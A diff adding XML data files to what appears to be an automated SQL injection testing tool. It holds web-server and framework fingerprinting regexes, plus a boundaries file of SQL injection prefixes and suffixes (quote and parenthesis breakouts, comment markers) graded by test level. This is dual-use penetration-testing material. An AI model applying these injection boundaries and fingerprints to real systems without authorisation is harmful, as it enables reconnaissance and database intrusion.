<regexp value="Apache/2\.2\.3 \(Mandriva Linux/">
|
||||
<info type="Linux" distrib="Mandriva" release="2007"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.4 \(Mandriva Linux/">
|
||||
<info type="Linux" distrib="Mandriva" release="2007.1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.6 \(Mandriva Linux/">
|
||||
<info type="Linux" distrib="Mandriva" release="2008"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.8 \(Mandriva Linux/">
|
||||
<info type="Linux" distrib="Mandriva" release="2008.1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.9 \(Mandriva Linux/">
|
||||
<info type="Linux" distrib="Mandriva" release="2009"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.11 \(Mandriva Linux/">
|
||||
<info type="Linux" distrib="Mandriva" release="2009.1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.14 \(Mandriva Linux/">
|
||||
<info type="Linux" distrib="Mandriva" release="2010"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.15 \(Mandriva Linux/">
|
||||
<info type="Linux" distrib="Mandriva" release="2010.1|2010.2"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Apache: Red Hat -->
|
||||
|
||||
<regexp value="Apache/1\.1\.3 Red Hat">
|
||||
<info type="Linux" distrib="Red Hat" release="4.2" codename="Biltmore"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.2\.4 Red Hat">
|
||||
<info type="Linux" distrib="Red Hat" release="5.0" codename="Hurricane"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.2\.6 Red Hat">
|
||||
<info type="Linux" distrib="Red Hat" release="5.1" codename="Manhattan"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.3 \(Unix\)\s+\(Red Hat/Linux\)">
|
||||
<info type="Linux" distrib="Red Hat" release="5.2" codename="Apollo"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.6 \(Unix\)\s+\(Red Hat/Linux\)">
|
||||
<info type="Linux" distrib="Red Hat" release="6.0" codename="Hedwig"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.9 \(Unix\) \(Red Hat/Linux\)">
|
||||
<info type="Linux" distrib="Red Hat" release="6.1" codename="Cartman"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.12 \(Unix\) \(Red Hat/Linux\)">
|
||||
<info type="Linux" distrib="Red Hat" release="6.2|7.0" codename="Zoot|Guinness"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.19 \(Unix\) \(Red-Hat/Linux\)">
|
||||
<info type="Linux" distrib="Red Hat" release="7.1" codename="Seawolf"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.20 \(Unix\) \(Red-Hat/Linux\)">
|
||||
<info type="Linux" distrib="Red Hat" release="7.2" codename="Enigma"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.23 \(Unix\) \(Red-Hat/Linux\)">
|
||||
<info type="Linux" distrib="Red Hat" release="7.3" codename="Valhalla"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.27 \(Unix\) \(Red-Hat/Linux\)">
|
||||
<info type="Linux" distrib="Red Hat" release="7.1|7.2|7.3" codename="Seawolf|Enigma|Valhalla" updated="True"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.40 \(Red Hat Linux\)">
|
||||
<info type="Linux" distrib="Red Hat" release="8.0|9" codename="Psyche|Shrike"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.22 \(Unix\) \(Red-Hat/Linux\)">
|
||||
<info type="Linux" distrib="Red Hat" release="Enterprise 2.1" codename="Panama"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.46 \(Red Hat\)">
|
||||
<info type="Linux" distrib="Red Hat" release="Enterprise 3" codename="Taroon"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.52 \(Red Hat\)">
|
||||
<info type="Linux" distrib="Red Hat" release="Enterprise 4" codename="Nahant"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.3 \(Red Hat\)">
|
||||
<info type="Linux" distrib="Red Hat" release="Enterprise 5" codename="Tikanga"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.15 \(Red Hat\)">
|
||||
<info type="Linux" distrib="Red Hat" release="Enterprise 6" codename="Santiago"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.4\.6 \(Red Hat\)">
|
||||
<info type="Linux" distrib="Red Hat" release="Enterprise 7" codename="Maipo"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Apache: SuSE -->
|
||||
|
||||
<regexp value="Apache/1\.3\.6 \(Unix\) \(SuSE/Linux\)">
|
||||
<info type="Linux" distrib="SuSE" release="6.1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.9 \(Unix\) \(SuSE/Linux\)">
|
||||
<info type="Linux" distrib="SuSE" release="6.2"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.12 \(Unix\) \(SuSE/Linux\)">
|
||||
<info technology="operating-system.type" type="str" value="Linux"/>
|
||||
<info type="Linux" distrib="SuSE" release="6.4|7.0"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.17 \(Unix\) \(SuSE/Linux\)">
|
||||
<info type="Linux" distrib="SuSE" release="7.1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.19 \(Unix\) \(SuSE/Linux\)">
|
||||
<info type="Linux" distrib="SuSE" release="7.2"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.20 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="7.3"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.23 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="8.0"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.26 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="8.1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.27 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="8.2"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/1\.3\.28 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="9.0"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.40 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="8.1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.44 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="8.2"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.47 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="9.0"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.49 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="9.1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.50 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="9.2"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.53 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="9.3"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.54 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="10.0"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.0 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="10.1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.3 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="10.2"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.4 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="10.3"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.8 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="11.0"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.10 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="11.1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.13 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="11.2"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.15 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="11.3"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.17 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="11.4"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.21 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="12.1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.22 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="12.2|12.3"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.4\.6 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="13.1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.4\.10 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="13.2"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.4\.16 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="42.1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.4\.23 \(Linux/SuSE\)">
|
||||
<info type="Linux" distrib="SuSE" release="42.2|42.3"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Apache: Ubuntu -->
|
||||
|
||||
<regexp value="Apache/2\.0\.50 \(Ubuntu\)">
|
||||
<info type="Linux" distrib="Ubuntu" release="4.10" codename="Warty Warthog"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.53 \(Ubuntu\)">
|
||||
<info type="Linux" distrib="Ubuntu" release="5.04" codename="Hoary Hedgehog"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.54 \(Ubuntu\)">
|
||||
<info type="Linux" distrib="Ubuntu" release="5.10" codename="Breezy Badger"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.0\.55 \(Ubuntu\)">
|
||||
<info type="Linux" distrib="Ubuntu" release="6.06|6.10" codename="Dapper Drake|Edgy Eft"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.3 \(Ubuntu\)">
|
||||
<info type="Linux" distrib="Ubuntu" release="7.04" codename="Feisty Fawn"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.4 \(Ubuntu\)">
|
||||
<info type="Linux" distrib="Ubuntu" release="7.10" codename="Gutsy Gibbon"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.8 \(Ubuntu\)">
|
||||
<info type="Linux" distrib="Ubuntu" release="8.04" codename="Hardy Heron"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.9 \(Ubuntu\)">
|
||||
<info type="Linux" distrib="Ubuntu" release="8.10" codename="Intrepid Ibex"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.11 \(Ubuntu\)">
|
||||
<info type="Linux" distrib="Ubuntu" release="9.04" codename="Jaunty Jackalope"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.12 \(Ubuntu\)">
|
||||
<info type="Linux" distrib="Ubuntu" release="9.10" codename="Karmic Koala"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.14 \(Ubuntu\)">
|
||||
<info type="Linux" distrib="Ubuntu" release="10.04" codename="Lucid Lynx"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.16 \(Ubuntu\)">
|
||||
<info type="Linux" distrib="Ubuntu" release="10.10" codename="Maverick Meerkat"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.17 \(Ubuntu\)">
|
||||
<info type="Linux" distrib="Ubuntu" release="11.04" codename="Natty Narwhal"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.20 \(Ubuntu\)">
|
||||
<info type="Linux" distrib="Ubuntu" release="11.10" codename="Oneiric Ocelot"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.2\.22 \(Ubuntu\)">
|
||||
<info type="Linux" distrib="Ubuntu" release="12.04|12.10|13.04" codename="Precise Pangolin|Quantal Quetzal|Raring Ringtail"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.4\.6 \(Ubuntu\)">
|
||||
<info type="Linux" distrib="Ubuntu" release="13.10" codename="Saucy Salamander"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.4\.10 \(Ubuntu\)">
|
||||
<info type="Linux" distrib="Ubuntu" release="14.10|15.04" codename="utopic|vivid"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.4\.12 \(Ubuntu\)">
|
||||
<info type="Linux" distrib="Ubuntu" release="15.10" codename="willy"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.4\.18 \(Ubuntu\)">
|
||||
<info type="Linux" distrib="Ubuntu" release="16.04|16.10" codename="xenial|yakkety"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.4\.25 \(Ubuntu\)">
|
||||
<info type="Linux" distrib="Ubuntu" release="17.04" codename="zesty"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache/2\.4\.27 \(Ubuntu\)">
|
||||
<info type="Linux" distrib="Ubuntu" release="17.10" codename="artful"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Nginx -->
|
||||
|
||||
<regexp value="nginx$">
|
||||
<info technology="Nginx"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="nginx/([\w\.]+)">
|
||||
<info technology="Nginx" tech_version="1"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Google Web Server -->
|
||||
|
||||
<regexp value="GWS$">
|
||||
<info technology="Google Web Server"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="GWS/([\w\.]+)">
|
||||
<info technology="Google Web Server" tech_version="1"/>
|
||||
</regexp>
|
||||
|
||||
<!-- lighttpd -->
|
||||
|
||||
<regexp value="lighttpd$">
|
||||
<info technology="lighttpd"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="lighttpd/([\w\.]+)">
|
||||
<info technology="lighttpd" tech_version="1"/>
|
||||
</regexp>
|
||||
|
||||
<!-- OpenResty -->
|
||||
|
||||
<regexp value="openresty$">
|
||||
<info technology="OpenResty"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="openresty/([\w\.]+)">
|
||||
<info technology="OpenResty" tech_version="1"/>
|
||||
</regexp>
|
||||
|
||||
<!-- LiteSpeed -->
|
||||
|
||||
<regexp value="LiteSpeed$">
|
||||
<info technology="LiteSpeed"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="LiteSpeed/([\w\.]+)">
|
||||
<info technology="LiteSpeed" tech_version="1"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Sun ONE -->
|
||||
|
||||
<regexp value="Sun-ONE-Web-Server/([\w\.]+)">
|
||||
<info technology="Sun ONE" tech_version="1"/>
|
||||
</regexp>
|
||||
</root>
|
||||
21
data/xml/banner/servlet-engine.xml
Normal file
21
data/xml/banner/servlet-engine.xml
Normal file
@@ -0,0 +1,21 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<!-- Reference: http://www.http-stats.com/Servlet-Engine -->
|
||||
|
||||
<root>
|
||||
<regexp value="Tomcat( Web Server)?\/([\d\.]+)">
|
||||
<info technology="Tomcat" tech_version="1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="JSP[\-\_\/\ ]([\d\.]+)">
|
||||
<info technology="JSP" tech_version="1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Servlet[\-\_\/\ ]([\d\.]+)">
|
||||
<info technology="Servlet" tech_version="1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Java[\-\_\/\ ]([\d\.]+)">
|
||||
<info technology="Java" tech_version="1"/>
|
||||
</regexp>
|
||||
</root>
|
||||
53
data/xml/banner/set-cookie.xml
Normal file
53
data/xml/banner/set-cookie.xml
Normal file
@@ -0,0 +1,53 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<!--
|
||||
References:
|
||||
* http://www.http-stats.com/Set-Cookie2
|
||||
* http://www.owasp.org/index.php/Category:OWASP_Cookies_Database
|
||||
-->
|
||||
|
||||
<root>
|
||||
<regexp value="ASPSESSIONID">
|
||||
<info technology="ASP" type="Windows"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="ASP\.NET_SessionId|\.ASPXAUTH">
|
||||
<info technology="ASP.NET" type="Windows"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="JSESSIONID">
|
||||
<info technology="JSP"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="JServSessionId">
|
||||
<info technology="JServ"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Ltpatoken">
|
||||
<info technology="WebSphere"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="PHPSESSION">
|
||||
<info technology="PHP"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="RoxenUserID">
|
||||
<info technology="Roxen"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="wiki\d+_session">
|
||||
<info technology="MediaWiki"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Apache">
|
||||
<info technology="Apache"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="DomAuthSessID">
|
||||
<info technology="Domino|Notes"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="CFID|CFTOKEN|CFMAGIC|CFGLOBALS">
|
||||
<info technology="ColdFusion"/>
|
||||
</regexp>
|
||||
</root>
|
||||
9
data/xml/banner/sharepoint.xml
Normal file
9
data/xml/banner/sharepoint.xml
Normal file
@@ -0,0 +1,9 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<!-- Reference: http://www.http-stats.com/Set-Cookie2 -->
|
||||
|
||||
<root>
|
||||
<regexp value="([\d\.]+)">
|
||||
<info technology="Microsoft Share Point" tech_version="1" type="Windows"/>
|
||||
</regexp>
|
||||
</root>
|
||||
9
data/xml/banner/x-aspnet-version.xml
Normal file
9
data/xml/banner/x-aspnet-version.xml
Normal file
@@ -0,0 +1,9 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<!-- Reference: http://www.http-stats.com/X-AspNet-Version -->
|
||||
|
||||
<root>
|
||||
<regexp value="([\d\.]+)">
|
||||
<info technology="ASP.NET" tech_version="1" type="Windows"/>
|
||||
</regexp>
|
||||
</root>
|
||||
45
data/xml/banner/x-powered-by.xml
Normal file
45
data/xml/banner/x-powered-by.xml
Normal file
@@ -0,0 +1,45 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<!-- Reference: https://publicwww.com/popular/powered/index.html -->
|
||||
|
||||
<root>
|
||||
<regexp value="PHP[\-\_\/\ ]([\d\.]+)">
|
||||
<info technology="PHP" tech_version="1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="JSP[\-\_\/\ ]([\d\.]+)">
|
||||
<info technology="JSP" tech_version="1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="ASP[\/\d\.]*$">
|
||||
<info technology="ASP" type="Windows"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="EasyEngine ([\d\.]+)">
|
||||
<info technology="EasyEngine" tech_version="1"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="PleskLin">
|
||||
<info technology="Plesk" type="Linux"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="PleskWin">
|
||||
<info technology="Plesk" type="Windows"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="ThinkPHP">
|
||||
<info technology="ThinkPHP"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="ASP\.NET">
|
||||
<info technology="ASP.NET" type="Windows"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="(JBoss|Tomcat)[\-\_\/\ ]?([\d\.]+)">
|
||||
<info technology="Tomcat" tech_version="2"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="Servlet[\-\_\/\ ]?([\d\.]+)">
|
||||
<info technology="Servlet" tech_version="1"/>
|
||||
</regexp>
|
||||
</root>
|
||||
558
data/xml/boundaries.xml
Normal file
558
data/xml/boundaries.xml
Normal file
@@ -0,0 +1,558 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<!--
|
||||
Tag: <boundary>
|
||||
How to prepend and append to the test ' <payload><comment> ' string.
|
||||
|
||||
Sub-tag: <level>
|
||||
From which level check for this test.
|
||||
|
||||
Valid values:
|
||||
1: Always (<100 requests)
|
||||
2: Try a bit harder (100-200 requests)
|
||||
3: Good number of requests (200-500 requests)
|
||||
4: Extensive test (500-1000 requests)
|
||||
5: You have plenty of time (>1000 requests)
|
||||
|
||||
Sub-tag: <clause>
|
||||
In which clause the payload can work.
|
||||
|
||||
NOTE: for instance, there are some payload that do not have to be
|
||||
tested as soon as it has been identified whether or not the
|
||||
injection is within a WHERE clause condition.
|
||||
|
||||
Valid values:
|
||||
0: Always
|
||||
1: WHERE / HAVING
|
||||
2: GROUP BY
|
||||
3: ORDER BY
|
||||
4: LIMIT
|
||||
5: OFFSET
|
||||
6: TOP
|
||||
7: Table name
|
||||
8: Column name
|
||||
9: Pre-WHERE (non-query)
|
||||
|
||||
A comma separated list of these values is also possible.
|
||||
|
||||
Sub-tag: <where>
|
||||
Where to add our '<prefix> <payload><comment> <suffix>' string.
|
||||
|
||||
Valid values:
|
||||
1: When the value of <test>'s <where> is 1.
|
||||
2: When the value of <test>'s <where> is 2.
|
||||
3: When the value of <test>'s <where> is 3.
|
||||
|
||||
A comma separated list of these values is also possible.
|
||||
|
||||
Sub-tag: <ptype>
|
||||
What is the parameter value type.
|
||||
|
||||
Valid values:
|
||||
1: Unescaped numeric
|
||||
2: Single quoted string
|
||||
3: LIKE single quoted string
|
||||
4: Double quoted string
|
||||
5: LIKE double quoted string
|
||||
6: Identifier (e.g. column name)
|
||||
|
||||
Sub-tag: <prefix>
|
||||
A string to prepend to the payload.
|
||||
|
||||
Sub-tag: <suffix>
|
||||
A string to append to the payload.
|
||||
|
||||
Formats:
|
||||
<boundary>
|
||||
<level></level>
|
||||
<clause></clause>
|
||||
<where></where>
|
||||
<ptype></ptype>
|
||||
<prefix></prefix>
|
||||
<suffix></suffix>
|
||||
</boundary>
|
||||
|
||||
-->
|
||||
|
||||
<root>
|
||||
<!-- Generic boundaries -->
|
||||
<boundary>
|
||||
<level>3</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>1</ptype>
|
||||
<prefix>)</prefix>
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>4</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>2</ptype>
|
||||
<prefix>')</prefix>
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>3</level>
|
||||
<clause>1,2,3</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>2</ptype>
|
||||
<prefix>'</prefix>
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>4</ptype>
|
||||
<prefix>"</prefix>
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
<!-- End of generic boundaries -->
|
||||
|
||||
<!-- WHERE/HAVING clause boundaries -->
|
||||
<boundary>
|
||||
<level>1</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>1</ptype>
|
||||
<prefix>)</prefix>
|
||||
<suffix> AND ([RANDNUM]=[RANDNUM]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>2</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>1</ptype>
|
||||
<prefix>))</prefix>
|
||||
<suffix> AND (([RANDNUM]=[RANDNUM]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>3</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>1</ptype>
|
||||
<prefix>)))</prefix>
|
||||
<suffix> AND ((([RANDNUM]=[RANDNUM]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>1</level>
|
||||
<clause>0</clause>
|
||||
<where>1,2,3</where>
|
||||
<ptype>1</ptype>
|
||||
<prefix></prefix>
|
||||
<suffix></suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>1</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>2</ptype>
|
||||
<prefix>')</prefix>
|
||||
<suffix> AND ('[RANDSTR]'='[RANDSTR]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>2</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>2</ptype>
|
||||
<prefix>'))</prefix>
|
||||
<suffix> AND (('[RANDSTR]'='[RANDSTR]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>3</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>2</ptype>
|
||||
<prefix>')))</prefix>
|
||||
<suffix> AND ((('[RANDSTR]'='[RANDSTR]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>1</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>2</ptype>
|
||||
<prefix>'</prefix>
|
||||
<suffix> AND '[RANDSTR]'='[RANDSTR]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>2</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>3</ptype>
|
||||
<prefix>')</prefix>
|
||||
<suffix> AND ('[RANDSTR]' LIKE '[RANDSTR]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>3</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>3</ptype>
|
||||
<prefix>'))</prefix>
|
||||
<suffix> AND (('[RANDSTR]' LIKE '[RANDSTR]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>4</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>3</ptype>
|
||||
<prefix>')))</prefix>
|
||||
<suffix> AND ((('[RANDSTR]' LIKE '[RANDSTR]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>2</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>3</ptype>
|
||||
<prefix>'</prefix>
|
||||
<suffix> AND '[RANDSTR]' LIKE '[RANDSTR]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>2</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>4</ptype>
|
||||
<prefix>")</prefix>
|
||||
<suffix> AND ("[RANDSTR]"="[RANDSTR]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>3</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>4</ptype>
|
||||
<prefix>"))</prefix>
|
||||
<suffix> AND (("[RANDSTR]"="[RANDSTR]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>4</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>4</ptype>
|
||||
<prefix>")))</prefix>
|
||||
<suffix> AND ((("[RANDSTR]"="[RANDSTR]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>2</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>4</ptype>
|
||||
<prefix>"</prefix>
|
||||
<suffix> AND "[RANDSTR]"="[RANDSTR]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>3</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>5</ptype>
|
||||
<prefix>")</prefix>
|
||||
<suffix> AND ("[RANDSTR]" LIKE "[RANDSTR]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>4</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>5</ptype>
|
||||
<prefix>"))</prefix>
|
||||
